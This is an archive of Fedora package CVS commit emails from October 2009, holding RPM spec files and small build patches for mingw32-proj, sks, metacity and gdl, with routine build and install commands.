Date: Thu, 15 Oct 2009 17:57:29 +0000 (UTC)
Subject: rpms/mingw32-proj/F-12 import.log, NONE, 1.1 mingw32-proj.spec, NONE,
	1.1 proj-noundefined.patch, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015175729.C9A7A11C00DB@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/mingw32-proj/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30200/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mingw32-proj.spec proj-noundefined.patch 
Log Message:
Add mingw32-proj-4.6.1-4 to F-12



--- NEW FILE import.log ---
mingw32-proj-4_6_1-4_fc11:F-12:mingw32-proj-4.6.1-4.fc11.src.rpm:1255629386


--- NEW FILE mingw32-proj.spec ---
%global __strip %{_mingw32_strip}
%global __objdump %{_mingw32_objdump}
%global _use_internal_dependency_generator 0
%global __find_requires %{_mingw32_findrequires}
%global __find_provides %{_mingw32_findprovides}

%global nativename proj

Name:      mingw32-%{nativename}
Version:   4.6.1
Release:   4%{?dist}
Summary:   Cartographic projection software (PROJ.4)

Group:     Applications/Engineering
License:   MIT
URL:       http://proj.osgeo.org
Source0:   http://download.osgeo.org/proj/proj-%{version}.tar.gz
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch: noarch

BuildRequires: libtool
BuildRequires:  mingw32-filesystem >= 35
BuildRequires:  mingw32-gcc
BuildRequires:  mingw32-binutils

Patch:    proj-noundefined.patch

%description
Proj and invproj perform respective forward and inverse transformation of
cartographic data to or from cartesian data with a wide range of selectable
projection functions. Proj docs: http://www.remotesensing.org/dl/new_docs/

%prep
%setup -q -n %{nativename}-%{version}

%patch -p 1

%build
%{_mingw32_configure} --disable-static
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install

# Remove libtool archives
rm $RPM_BUILD_ROOT%{_mingw32_libdir}/libproj.la

# Remove inverse program symbolic links
rm $RPM_BUILD_ROOT%{_mingw32_bindir}/inv*.exe

# Remove unneeded files
rm -R $RPM_BUILD_ROOT%{_mingw32_datadir}/*

%check

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc NEWS AUTHORS COPYING README ChangeLog
%{_mingw32_bindir}/libproj-0.dll
%{_mingw32_bindir}/*.exe
%{_mingw32_libdir}/libproj.dll.a 
%{_mingw32_includedir}/*.h

%changelog
* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-4
- Don't remove build executables

* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-3
- Updates for Fedora packaging

* Wed Sep 9 2009 David Ludlow <dave at adsllc.com> - 4.6.1-2
- Initial creation of mingw32 package

proj-noundefined.patch:
 new/src/Makefine.in |    2 +-
 src/Makefile.am     |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE proj-noundefined.patch ---
--- orig/src/Makefile.am	2008-08-05 12:33:48.000000000 -0400
+++ new/src/Makefile.am		2009-09-09 13:28:00.000000000 -0400
@@ -20,7 +20,7 @@
 
 lib_LTLIBRARIES = libproj.la
 
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
--- orig/src/Makefile.in	2008-08-21 22:58:46.000000000 -0400
+++ new/src/Makefine.in		2009-09-09 13:49:41.000000000 -0400
@@ -253,7 +253,7 @@
 nad2bin_LDADD = libproj.la
 geod_LDADD = libproj.la
 lib_LTLIBRARIES = libproj.la
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
 	PJ_aeqd.c PJ_gnom.c PJ_laea.c PJ_mod_ster.c \



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:32:34 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:57:29 -0000	1.2
@@ -0,0 +1 @@
+proj-4.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:32:34 -0000	1.1
+++ sources	15 Oct 2009 17:57:29 -0000	1.2
@@ -0,0 +1 @@
+7dbaab8431ad50c25669fd3fb28dc493  proj-4.6.1.tar.gz



From adsllc at fedoraproject.org  Thu Oct 15 17:58:42 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Thu, 15 Oct 2009 17:58:42 +0000 (UTC)
Subject: rpms/mingw32-proj/F-11 import.log, NONE, 1.1 mingw32-proj.spec, NONE,
	1.1 proj-noundefined.patch, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015175842.F2A2B11C00DB@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/mingw32-proj/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30680/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mingw32-proj.spec proj-noundefined.patch 
Log Message:
Add mingw32-proj-4.6.1-4 to F-11



--- NEW FILE import.log ---
mingw32-proj-4_6_1-4_fc11:F-11:mingw32-proj-4.6.1-4.fc11.src.rpm:1255629483


--- NEW FILE mingw32-proj.spec ---
%global __strip %{_mingw32_strip}
%global __objdump %{_mingw32_objdump}
%global _use_internal_dependency_generator 0
%global __find_requires %{_mingw32_findrequires}
%global __find_provides %{_mingw32_findprovides}

%global nativename proj

Name:      mingw32-%{nativename}
Version:   4.6.1
Release:   4%{?dist}
Summary:   Cartographic projection software (PROJ.4)

Group:     Applications/Engineering
License:   MIT
URL:       http://proj.osgeo.org
Source0:   http://download.osgeo.org/proj/proj-%{version}.tar.gz
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch: noarch

BuildRequires: libtool
BuildRequires:  mingw32-filesystem >= 35
BuildRequires:  mingw32-gcc
BuildRequires:  mingw32-binutils

Patch:    proj-noundefined.patch

%description
Proj and invproj perform respective forward and inverse transformation of
cartographic data to or from cartesian data with a wide range of selectable
projection functions. Proj docs: http://www.remotesensing.org/dl/new_docs/

%prep
%setup -q -n %{nativename}-%{version}

%patch -p 1

%build
%{_mingw32_configure} --disable-static
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install

# Remove libtool archives
rm $RPM_BUILD_ROOT%{_mingw32_libdir}/libproj.la

# Remove inverse program symbolic links
rm $RPM_BUILD_ROOT%{_mingw32_bindir}/inv*.exe

# Remove unneeded files
rm -R $RPM_BUILD_ROOT%{_mingw32_datadir}/*

%check

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc NEWS AUTHORS COPYING README ChangeLog
%{_mingw32_bindir}/libproj-0.dll
%{_mingw32_bindir}/*.exe
%{_mingw32_libdir}/libproj.dll.a 
%{_mingw32_includedir}/*.h

%changelog
* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-4
- Don't remove build executables

* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-3
- Updates for Fedora packaging

* Wed Sep 9 2009 David Ludlow <dave at adsllc.com> - 4.6.1-2
- Initial creation of mingw32 package

proj-noundefined.patch:
 new/src/Makefine.in |    2 +-
 src/Makefile.am     |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE proj-noundefined.patch ---
--- orig/src/Makefile.am	2008-08-05 12:33:48.000000000 -0400
+++ new/src/Makefile.am		2009-09-09 13:28:00.000000000 -0400
@@ -20,7 +20,7 @@
 
 lib_LTLIBRARIES = libproj.la
 
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
--- orig/src/Makefile.in	2008-08-21 22:58:46.000000000 -0400
+++ new/src/Makefine.in		2009-09-09 13:49:41.000000000 -0400
@@ -253,7 +253,7 @@
 nad2bin_LDADD = libproj.la
 geod_LDADD = libproj.la
 lib_LTLIBRARIES = libproj.la
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
 	PJ_aeqd.c PJ_gnom.c PJ_laea.c PJ_mod_ster.c \



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:32:34 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:58:42 -0000	1.2
@@ -0,0 +1 @@
+proj-4.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:32:34 -0000	1.1
+++ sources	15 Oct 2009 17:58:42 -0000	1.2
@@ -0,0 +1 @@
+7dbaab8431ad50c25669fd3fb28dc493  proj-4.6.1.tar.gz



From adsllc at fedoraproject.org  Thu Oct 15 17:59:41 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Thu, 15 Oct 2009 17:59:41 +0000 (UTC)
Subject: rpms/mingw32-proj/F-10 import.log, NONE, 1.1 mingw32-proj.spec, NONE,
	1.1 proj-noundefined.patch, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015175941.EECD711C00DB@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/mingw32-proj/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31061/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mingw32-proj.spec proj-noundefined.patch 
Log Message:
Add mingw32-proj-4.6.1-4 to F-10



--- NEW FILE import.log ---
mingw32-proj-4_6_1-4_fc11:F-10:mingw32-proj-4.6.1-4.fc11.src.rpm:1255629549


--- NEW FILE mingw32-proj.spec ---
%global __strip %{_mingw32_strip}
%global __objdump %{_mingw32_objdump}
%global _use_internal_dependency_generator 0
%global __find_requires %{_mingw32_findrequires}
%global __find_provides %{_mingw32_findprovides}

%global nativename proj

Name:      mingw32-%{nativename}
Version:   4.6.1
Release:   4%{?dist}
Summary:   Cartographic projection software (PROJ.4)

Group:     Applications/Engineering
License:   MIT
URL:       http://proj.osgeo.org
Source0:   http://download.osgeo.org/proj/proj-%{version}.tar.gz
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch: noarch

BuildRequires: libtool
BuildRequires:  mingw32-filesystem >= 35
BuildRequires:  mingw32-gcc
BuildRequires:  mingw32-binutils

Patch:    proj-noundefined.patch

%description
Proj and invproj perform respective forward and inverse transformation of
cartographic data to or from cartesian data with a wide range of selectable
projection functions. Proj docs: http://www.remotesensing.org/dl/new_docs/

%prep
%setup -q -n %{nativename}-%{version}

%patch -p 1

%build
%{_mingw32_configure} --disable-static
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install

# Remove libtool archives
rm $RPM_BUILD_ROOT%{_mingw32_libdir}/libproj.la

# Remove inverse program symbolic links
rm $RPM_BUILD_ROOT%{_mingw32_bindir}/inv*.exe

# Remove unneeded files
rm -R $RPM_BUILD_ROOT%{_mingw32_datadir}/*

%check

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc NEWS AUTHORS COPYING README ChangeLog
%{_mingw32_bindir}/libproj-0.dll
%{_mingw32_bindir}/*.exe
%{_mingw32_libdir}/libproj.dll.a 
%{_mingw32_includedir}/*.h

%changelog
* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-4
- Don't remove build executables

* Thu Oct 15 2009 David Ludlow <dave at adsllc.com> - 4.6.1-3
- Updates for Fedora packaging

* Wed Sep 9 2009 David Ludlow <dave at adsllc.com> - 4.6.1-2
- Initial creation of mingw32 package

proj-noundefined.patch:
 new/src/Makefine.in |    2 +-
 src/Makefile.am     |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE proj-noundefined.patch ---
--- orig/src/Makefile.am	2008-08-05 12:33:48.000000000 -0400
+++ new/src/Makefile.am		2009-09-09 13:28:00.000000000 -0400
@@ -20,7 +20,7 @@
 
 lib_LTLIBRARIES = libproj.la
 
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
--- orig/src/Makefile.in	2008-08-21 22:58:46.000000000 -0400
+++ new/src/Makefine.in		2009-09-09 13:49:41.000000000 -0400
@@ -253,7 +253,7 @@
 nad2bin_LDADD = libproj.la
 geod_LDADD = libproj.la
 lib_LTLIBRARIES = libproj.la
-libproj_la_LDFLAGS = -version-info 5:5:5
+libproj_la_LDFLAGS = -version-info 5:5:5 -no-undefined
 libproj_la_SOURCES = \
 	projects.h pj_list.h \
 	PJ_aeqd.c PJ_gnom.c PJ_laea.c PJ_mod_ster.c \



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:32:34 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:59:41 -0000	1.2
@@ -0,0 +1 @@
+proj-4.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-proj/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:32:34 -0000	1.1
+++ sources	15 Oct 2009 17:59:41 -0000	1.2
@@ -0,0 +1 @@
+7dbaab8431ad50c25669fd3fb28dc493  proj-4.6.1.tar.gz



From nb at fedoraproject.org  Thu Oct 15 17:59:52 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Thu, 15 Oct 2009 17:59:52 +0000 (UTC)
Subject: rpms/sks/EL-5 sks-1.1.1-libdb.patch, NONE, 1.1 sks.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015175952.30B6F11C00DB@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/sks/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31244

Modified Files:
	.cvsignore sources 
Added Files:
	sks-1.1.1-libdb.patch sks.spec 
Log Message:
Initial commit of sks 1.1.1

sks-1.1.1-libdb.patch:
 Makefile.local.unused |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sks-1.1.1-libdb.patch ---
Common subdirectories: sks-1.1.1/bdb and sks-1.1.1-patched/bdb
diff -u sks-1.1.1/Makefile.local.unused sks-1.1.1-patched/Makefile.local.unused
--- sks-1.1.1/Makefile.local.unused	2009-03-25 20:18:03.000000000 -0500
+++ sks-1.1.1-patched/Makefile.local.unused	2009-10-13 16:54:17.835163112 -0500
@@ -1,7 +1,7 @@
 BDBLIB=-L/usr/lib
 BDBINCLUDE=-I/usr/include
 PREFIX=/usr/local
-LIBDB=-ldb-4.6
+LIBDB=-ldb-4.7
 MANDIR=/usr/share/man
 export BDBLIB
 export BDBINCLUDE


--- NEW FILE sks.spec ---
Summary:        Synchronizing Key Server
Name:           sks
Version:        1.1.1
Release:        2%{?dist}
License:        GPLv2+
Group:          System Environment/Daemons
URL:            http://code.google.com/p/sks-keyserver/
Source0:        http://sks-keyserver.googlecode.com/files/sks-1.1.1.tgz
Patch0:         sks-1.1.1-libdb.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
BuildRequires:  ocaml ocaml-camlp4-devel db4-devel zlib-devel chrpath

%description
SKS is a OpenPGP keyserver whose goal is to provide easy to
deploy, decentralized, and highly reliable synchronization.

%prep
%setup -q
%patch0 -p1

%build
%__mv Makefile.local.unused Makefile.local
%__make dep
%__make CFLAGS="$RPM_OPT_FLAGS -I`ocamlc -where` -I ." all

%install
%__rm -Rf "%{buildroot}"
%__make install PREFIX="%{buildroot}%{_prefix}" MANDIR="%{buildroot}%{_mandir}"
chmod -x %{buildroot}%{_mandir}/man8/sks.8.gz
chrpath --delete %{buildroot}%{_bindir}/sks

%clean
%__rm -Rf "%{buildroot}"

%files
%defattr(-,root,root)
%doc BUGS CHANGELOG COPYING FILES README TODO VERSION
%{_bindir}/sks
%{_bindir}/sks_build.sh
%{_bindir}/sks_add_mail
%{_mandir}/man8/sks.8.gz

%changelog
* Wed Oct 14 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-2
- Add CFLAGS to make all
* Tue Oct 13 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-1
- Initial Fedora package based on 1.1.1 of sks


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sks/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:15:48 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:59:52 -0000	1.2
@@ -0,0 +1 @@
+sks-1.1.1.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sks/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:15:48 -0000	1.1
+++ sources	15 Oct 2009 17:59:52 -0000	1.2
@@ -0,0 +1 @@
+120361b88cf6820c108c6746ac464488  sks-1.1.1.tgz



From mclasen at fedoraproject.org  Thu Oct 15 18:00:24 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 15 Oct 2009 18:00:24 +0000 (UTC)
Subject: rpms/metacity/F-12 metacity.spec, 1.204, 1.205 workspaces.patch, 1.1,
	1.2
Message-ID: <20091015180024.BCADF11C0265@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/metacity/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31262

Modified Files:
	metacity.spec workspaces.patch 
Log Message:
patch the right file



Index: metacity.spec
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/metacity.spec,v
retrieving revision 1.204
retrieving revision 1.205
diff -u -p -r1.204 -r1.205
--- metacity.spec	15 Oct 2009 17:28:01 -0000	1.204
+++ metacity.spec	15 Oct 2009 18:00:24 -0000	1.205
@@ -1,7 +1,7 @@
 Summary: Unobtrusive window manager
 Name: metacity
 Version: 2.28.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 URL: http://download.gnome.org/sources/metacity/
 Source0: http://download.gnome.org/sources/metacity/2.28/metacity-%{version}.tar.bz2
 # http://bugzilla.gnome.org/show_bug.cgi?id=558723
@@ -192,7 +192,7 @@ fi
 %{_mandir}/man1/metacity-window-demo.1.gz
 
 %changelog
-* Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-2
+* Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-3
 - Tweak the default number of workspaces
 
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-1

workspaces.patch:
 metacity.schemas.in.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: workspaces.patch
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/workspaces.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- workspaces.patch	15 Oct 2009 17:28:01 -0000	1.1
+++ workspaces.patch	15 Oct 2009 18:00:24 -0000	1.2
@@ -1,6 +1,6 @@
-diff -up metacity-2.28.0/src/metacity.schemas.in.workspaces metacity-2.28.0/src/metacity.schemas.in
---- metacity-2.28.0/src/metacity.schemas.in.workspaces	2009-10-15 13:23:14.909411794 -0400
-+++ metacity-2.28.0/src/metacity.schemas.in	2009-10-15 13:23:51.218400104 -0400
+diff -up metacity-2.28.0/src/metacity.schemas.in.in.workspaces metacity-2.28.0/src/metacity.schemas.in.in
+--- metacity-2.28.0/src/metacity.schemas.in.in.workspaces	2009-10-15 13:52:37.983401456 -0400
++++ metacity-2.28.0/src/metacity.schemas.in.in	2009-10-15 13:52:58.017654116 -0400
 @@ -295,7 +295,7 @@
        <applyto>/apps/metacity/general/num_workspaces</applyto>      
        <owner>metacity</owner>



From nb at fedoraproject.org  Thu Oct 15 18:00:41 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Thu, 15 Oct 2009 18:00:41 +0000 (UTC)
Subject: rpms/sks/EL-4 sks-1.1.1-libdb.patch, NONE, 1.1 sks.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015180041.8D1C011C0265@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/sks/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31583

Modified Files:
	.cvsignore sources 
Added Files:
	sks-1.1.1-libdb.patch sks.spec 
Log Message:
Initial commit of sks 1.1.1

sks-1.1.1-libdb.patch:
 Makefile.local.unused |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sks-1.1.1-libdb.patch ---
Common subdirectories: sks-1.1.1/bdb and sks-1.1.1-patched/bdb
diff -u sks-1.1.1/Makefile.local.unused sks-1.1.1-patched/Makefile.local.unused
--- sks-1.1.1/Makefile.local.unused	2009-03-25 20:18:03.000000000 -0500
+++ sks-1.1.1-patched/Makefile.local.unused	2009-10-13 16:54:17.835163112 -0500
@@ -1,7 +1,7 @@
 BDBLIB=-L/usr/lib
 BDBINCLUDE=-I/usr/include
 PREFIX=/usr/local
-LIBDB=-ldb-4.6
+LIBDB=-ldb-4.7
 MANDIR=/usr/share/man
 export BDBLIB
 export BDBINCLUDE


--- NEW FILE sks.spec ---
Summary:        Synchronizing Key Server
Name:           sks
Version:        1.1.1
Release:        2%{?dist}
License:        GPLv2+
Group:          System Environment/Daemons
URL:            http://code.google.com/p/sks-keyserver/
Source0:        http://sks-keyserver.googlecode.com/files/sks-1.1.1.tgz
Patch0:         sks-1.1.1-libdb.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
BuildRequires:  ocaml ocaml-camlp4-devel db4-devel zlib-devel chrpath

%description
SKS is a OpenPGP keyserver whose goal is to provide easy to
deploy, decentralized, and highly reliable synchronization.

%prep
%setup -q
%patch0 -p1

%build
%__mv Makefile.local.unused Makefile.local
%__make dep
%__make CFLAGS="$RPM_OPT_FLAGS -I`ocamlc -where` -I ." all

%install
%__rm -Rf "%{buildroot}"
%__make install PREFIX="%{buildroot}%{_prefix}" MANDIR="%{buildroot}%{_mandir}"
chmod -x %{buildroot}%{_mandir}/man8/sks.8.gz
chrpath --delete %{buildroot}%{_bindir}/sks

%clean
%__rm -Rf "%{buildroot}"

%files
%defattr(-,root,root)
%doc BUGS CHANGELOG COPYING FILES README TODO VERSION
%{_bindir}/sks
%{_bindir}/sks_build.sh
%{_bindir}/sks_add_mail
%{_mandir}/man8/sks.8.gz

%changelog
* Wed Oct 14 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-2
- Add CFLAGS to make all
* Tue Oct 13 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-1
- Initial Fedora package based on 1.1.1 of sks


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sks/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:15:48 -0000	1.1
+++ .cvsignore	15 Oct 2009 18:00:41 -0000	1.2
@@ -0,0 +1 @@
+sks-1.1.1.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sks/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:15:48 -0000	1.1
+++ sources	15 Oct 2009 18:00:41 -0000	1.2
@@ -0,0 +1 @@
+120361b88cf6820c108c6746ac464488  sks-1.1.1.tgz



From orion at fedoraproject.org  Thu Oct 15 18:00:52 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 15 Oct 2009 18:00:52 +0000 (UTC)
Subject: rpms/gdl/devel gdl-0.9rc3-antlr.patch, NONE, 1.1 .cvsignore, 1.13, 
	1.14 gdl.spec, 1.48, 1.49 sources, 1.13,
	1.14 gdl-0.9pre5-ppc64.patch, 1.1, NONE gdl-0.9pre6-plplot.patch,
	1.1, NONE gdl-0.9rc2-20090224-friend.patch, 1.1,
	NONE gdl-0.9rc2-20090312-antlr.patch, 1.1, NONE
Message-ID: <20091015180052.6B3AB11C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gdl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31656

Modified Files:
	.cvsignore gdl.spec sources 
Added Files:
	gdl-0.9rc3-antlr.patch 
Removed Files:
	gdl-0.9pre5-ppc64.patch gdl-0.9pre6-plplot.patch 
	gdl-0.9rc2-20090224-friend.patch 
	gdl-0.9rc2-20090312-antlr.patch 
Log Message:
* Thu Oct 15 2009 - Orion Poplawski <orion at cora.nwra.com> - 0.9-0.7.rc3
- Update to 0.9rc3
- Drop ppc64, friend patches fixed upstream
- Add source for makecvstarball
- Rebase antlr patch, add automake source version
- Add conditionals for EPEL builds
- Add %check section


gdl-0.9rc3-antlr.patch:
 configure       |    3 +--
 src/Makefile.in |    9 ++++-----
 2 files changed, 5 insertions(+), 7 deletions(-)

--- NEW FILE gdl-0.9rc3-antlr.patch ---
--- gdl-0.9rc3/configure.antlr	2009-09-11 10:04:09.000000000 -0600
+++ gdl-0.9rc3/configure	2009-10-15 11:11:06.707875846 -0600
@@ -23525,7 +23525,7 @@
 
 
 
-ac_config_files="$ac_config_files Makefile src/Makefile src/antlr/Makefile"
+ac_config_files="$ac_config_files Makefile src/Makefile"
 
 
 cat >confcache <<\_ACEOF
@@ -24130,7 +24130,6 @@
     "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
     "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;;
     "src/Makefile") CONFIG_FILES="$CONFIG_FILES src/Makefile" ;;
-    "src/antlr/Makefile") CONFIG_FILES="$CONFIG_FILES src/antlr/Makefile" ;;
 
   *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5
 echo "$as_me: error: invalid argument: $ac_config_target" >&2;}
--- gdl-0.9rc3/src/Makefile.in.antlr	2009-09-11 10:04:09.000000000 -0600
+++ gdl-0.9rc3/src/Makefile.in	2009-10-15 11:10:12.689817337 -0600
@@ -55,7 +55,7 @@
 libLTLIBRARIES_INSTALL = $(INSTALL)
 LTLIBRARIES = $(lib_LTLIBRARIES)
 @BUILDASLIBRARY_TRUE at libgdl_la_DEPENDENCIES =  \
- at BUILDASLIBRARY_TRUE@	$(top_builddir)/src/antlr/libantlr.la
+ at BUILDASLIBRARY_TRUE@	-lantlr
 am__libgdl_la_SOURCES_DIST = accessdesc.hpp arrayindex.hpp \
 	assocdata.cpp assocdata.hpp basegdl.hpp basic_fun_cl.cpp \
 	basic_fun_cl.hpp basic_fun.cpp basic_fun.hpp basic_fun_jmg.cpp \
@@ -236,7 +236,7 @@
 @BUILDASLIBRARY_FALSE@	gdl-gdl.$(OBJEXT)
 gdl_OBJECTS = $(am_gdl_OBJECTS)
 @BUILDASLIBRARY_FALSE at gdl_DEPENDENCIES =  \
- at BUILDASLIBRARY_FALSE@	$(top_builddir)/src/antlr/libantlr.a
+ at BUILDASLIBRARY_FALSE@	-lantlr
 gdl_LINK = $(LIBTOOL) --tag=CXX $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \
 	--mode=link $(CXXLD) $(gdl_CXXFLAGS) $(CXXFLAGS) \
 	$(gdl_LDFLAGS) $(LDFLAGS) -o $@
@@ -395,7 +395,6 @@
 
 # set the include path found by configure
 INCLUDES = $(EXT_INCLUDES) $(all_includes)
-SUBDIRS = antlr
 noinst_HEADERS = gdlwidget.hpp prognode.hpp prognodeexpr.hpp
 cpp_hpp_files = accessdesc.hpp arrayindex.hpp assocdata.cpp assocdata.hpp \
 		basegdl.hpp basic_fun_cl.cpp basic_fun_cl.hpp basic_fun.cpp basic_fun.hpp \
@@ -442,7 +441,7 @@
 @BUILDASLIBRARY_FALSE at gdl_CXXFLAGS = $(AM_CXXFLAGS)
 # the library search path.
 @BUILDASLIBRARY_FALSE at gdl_LDFLAGS = $(all_libraries)
- at BUILDASLIBRARY_FALSE@gdl_LDADD = $(top_builddir)/src/antlr/libantlr.a -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+ at BUILDASLIBRARY_FALSE@gdl_LDADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 
 # build as library (for python module)
 @BUILDASLIBRARY_TRUE at lib_LTLIBRARIES = libgdl.la
@@ -452,7 +451,7 @@
 # netCDF and HDF define some same symbols
 # hence -z muldefs has to be passed to the linker
